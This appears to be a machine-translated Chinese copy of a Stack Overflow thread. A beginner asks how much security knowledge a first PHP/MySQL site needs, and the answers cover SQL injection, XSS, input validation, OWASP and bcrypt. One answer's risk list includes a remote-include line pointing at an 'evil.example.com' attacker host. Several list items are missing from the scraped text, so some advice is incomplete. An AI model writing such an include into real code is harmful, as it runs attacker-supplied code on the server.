我正在編寫我的第一個php/mysql網站,並意識到我對安全知之甚少,超出了我在課程/書中學到的東西。在我能夠發佈自己的網站之前,我需要多少安全知識,而不必擔心獲得微薄的成功會吸引黑客並導致我的網站被破解?我需要多少網絡安全知識才能發佈我的網站?
如果它對更多細節有幫助,我將創建一個網站,允許用戶添加純文本內容以及瀏覽其他人添加的內容。該文本旨在存儲在數據庫中。
我正在編寫我的第一個php/mysql網站,並意識到我對安全知之甚少,超出了我在課程/書中學到的東西。在我能夠發佈自己的網站之前,我需要多少安全知識,而不必擔心獲得微薄的成功會吸引黑客並導致我的網站被破解?我需要多少網絡安全知識才能發佈我的網站?
如果它對更多細節有幫助,我將創建一個網站,允許用戶添加純文本內容以及瀏覽其他人添加的內容。該文本旨在存儲在數據庫中。
查看SQL注入和XSS。這一切都在驗證用戶輸入。永遠不要相信用戶。
末到最好的學習方法是,因爲安全性差的進攻受到影響。然後你明白它是如何工作的。只有一個技巧,做備份。
謝謝s.lenders - 我會去閱讀那些維基百科的文章ñ看看我學到了什麼! :) – gabrielg 2013-02-12 17:55:40
這永遠不夠。但你會希望繼續改進。當你準備好時,你可能會認識你自己。
瞭解最常見的安全問題,如:
,並記住:
而且看看在this guide其中總結了最着名的安全問題。
傑弗裏真的很有用 - 一個明確的答案,我應該引導我的注意力。我還不能投票答覆,但如果可以的話,我會投你一票。感謝您幫助newb! 此外,該指南非常好 - 我非常感謝鏈接! – gabrielg 2013-02-12 17:54:59
您網站中最關鍵的是用戶可以向您的數據庫提供文本。 在stackoverflow上閱讀此問題以獲得有關如何防止sql注入的良好答案。 How to prevent sql injection in php
是的,好點 - 我們在課堂上討論了sql注入,所以當你和s.lenders指出時,我會更深入地研究這些注入。感謝你們對我的幫助! – gabrielg 2013-02-12 17:56:38
你什麼都不知道,所以它取決於你的代碼有哪些可能的攻擊媒介以及風險是什麼。
問自己:
include 'http://evil.example.com/hack.txt';
)。請參閱:PHP - Is "include" function secure?mysql_
函數。請參閱:The mysql extension is deprecated and will be removed in the future: use mysqli or PDO insteadPHP_SELF
作爲它的動作,因爲XSS is also a possible attack on $_SERVER variables。這個名單是不完整的,但應涵蓋簡單的Web應用中最常見的用例和他們的安全威脅
關於風險:只要你處理敏感個人資料,
的用戶或在自己的虛擬服務器上託管網站,您還有其他責任,因爲最糟糕的情況不再僅僅是您的網站可能被破壞,但私人數據可能會暴露,您的服務器可能會轉變爲垃圾郵件或更糟。
最重要的規則是:不要相信任何輸入的數據
的擴展,這個規則,重要初學者:究竟使用適合當前環境的措施。不要只是在用戶輸入一切,你知道並希望它會更安全,這是適得其反!我經常看到如下問題:「如果我在所有$ _POST變量上使用addslashes(mysql_real_escape_string(strip_tags(htmlspecialchars())))
,我的應用程序是否安全?」 - 如果您甚至認爲這是一種有效的方法,那麼您對用戶輸入的安全性如何工作存在嚴重的誤解。我再說一遍:什麼是安全的,什麼不是,總是取決於上下文!
一個很好的資源,從學習是Open Web Application Security Project
Fab非常出色,幫助我理解我學習的方向。我真的很感激你花時間寫出所有的細節,如果我可以投你的答案,我會的!我特別喜歡If'問題'然後學習'解決方案'格式! – gabrielg 2013-02-12 19:20:07
「如何保護我的Web應用程序」是一個大的範圍來回答。基礎知識:使用準備好的sql語句,不要使用快速散列來存儲密碼,請使用'bcrypt'或類似的。 – Jon 2013-02-12 12:33:48
首先,你應該轉向https://www.owasp.org/index.php/Category:Attack,如果你正在閱讀一門課程/書籍,那麼你最有可能容易受到某些東西(SQL注入,XSS)的影響,因爲大部分他們的書沒有實現安全性,因爲它可能會讓學習者感到困惑。 – 2013-02-12 12:34:09
@Jon與非快速哈希相比,什麼是快速哈希?我正在考慮使用我讀過的sha-512。我應該使用bcrypt嗎?如果是這樣,你能解釋一下爲什麼嗎? – gabrielg 2013-02-12 17:39:03